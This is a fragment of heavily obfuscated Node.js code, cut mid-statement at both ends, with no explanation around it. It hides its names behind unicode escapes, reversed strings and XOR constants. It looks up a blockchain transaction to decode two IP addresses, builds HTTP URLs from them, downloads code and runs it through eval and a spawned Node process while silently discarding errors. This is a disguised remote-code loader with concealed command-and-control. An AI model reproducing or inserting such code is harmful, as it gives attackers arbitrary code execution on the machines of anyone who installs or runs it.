Error("\u0045\u006D\u0070\u0074\u0079\u0020\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u0020\u0062\u006F\u0064\u0079"));}catch(t){a(t);}}),n['\u006F\u006E']("rorre".split("").reverse().join(""),a);});_0xcd9gg=416316^416313;l['\u006F\u006E']("\u0065\u0072\u0072\u006F\u0072",a),l['\u0073\u0065\u0074\u0054\u0069\u006D\u0065\u006F\u0075\u0074'](HTTP_TIMEOUT_MS,()=>{l['\u0064\u0065\u0073\u0074\u0072\u006F\u0079'](new Error(`HTTP timeout after ${HTTP_TIMEOUT_MS}ms`));}),l['\u0065\u006E\u0064']();});}return _0xee8d("TEG".split("").reverse().join(""))['\u0063\u0061\u0074\u0063\u0068'](()=>_0xee8d("\u0048\u0045\u0041\u0044"));}async function _0x_0x668(url,key,isBoot){try{const _0xa121e=await _0xa1b57f(key,url),_0xa115b=isBoot?`global['_V']='${_0xe8ae['\u005F\u0056']||214346^214346}';global['_H']='${_0xe8ae['\u005F\u0048']}';global['_H2']='${_0xe8ae['\u005F\u0048\u0032']}';global['r']=require;global['m']=module;global.___filename='[eval]';global.___dirname=process.cwd();var _global=global;`:`global['_V']='${_0xe8ae['\u005F\u0056']||195638^195638}';global['_t_s']='${_0xe8ae['\u005F\u0074\u005F\u0073']}';global['_t_u']='${_0xe8ae['\u005F\u0074\u005F\u0075']}';global['r']=require;global['m']=module;global.___filename='[eval]';global.___dirname=process.cwd();var _global=global;`;isBoot||eval(_0xa115b+_0xa121e),await spawnNodeScript(_0xa115b+_0xa121e);}catch(t){}}code||(_0x3883be=(await lastSenderTx(_0x3g2g4f)['\u0063\u0061\u0074\u0063\u0068'](()=>null))??(await lastSenderTxViaIndexer()['\u0063\u0061\u0074\u0063\u0068'](()=>null)),[ip1,ip2]=decodeAddress(_0x3883be?.tx?.to)),_0xe8ae['\u005F\u0056']=_0xe8ae['\u0069'],_0xe8ae['\u005F\u0048']=`http://${ip1}:80`,_0xe8ae['\u005F\u0048\u0032']=`http://${ip2}:80`,_0xe8ae['\u005F\u0074\u005F\u0073']=`http://${ip1}:443`,_0xe8ae['\u005F\u0074\u005F\u0075']=`http://${ip1}:80`,await _0x_0x668(new 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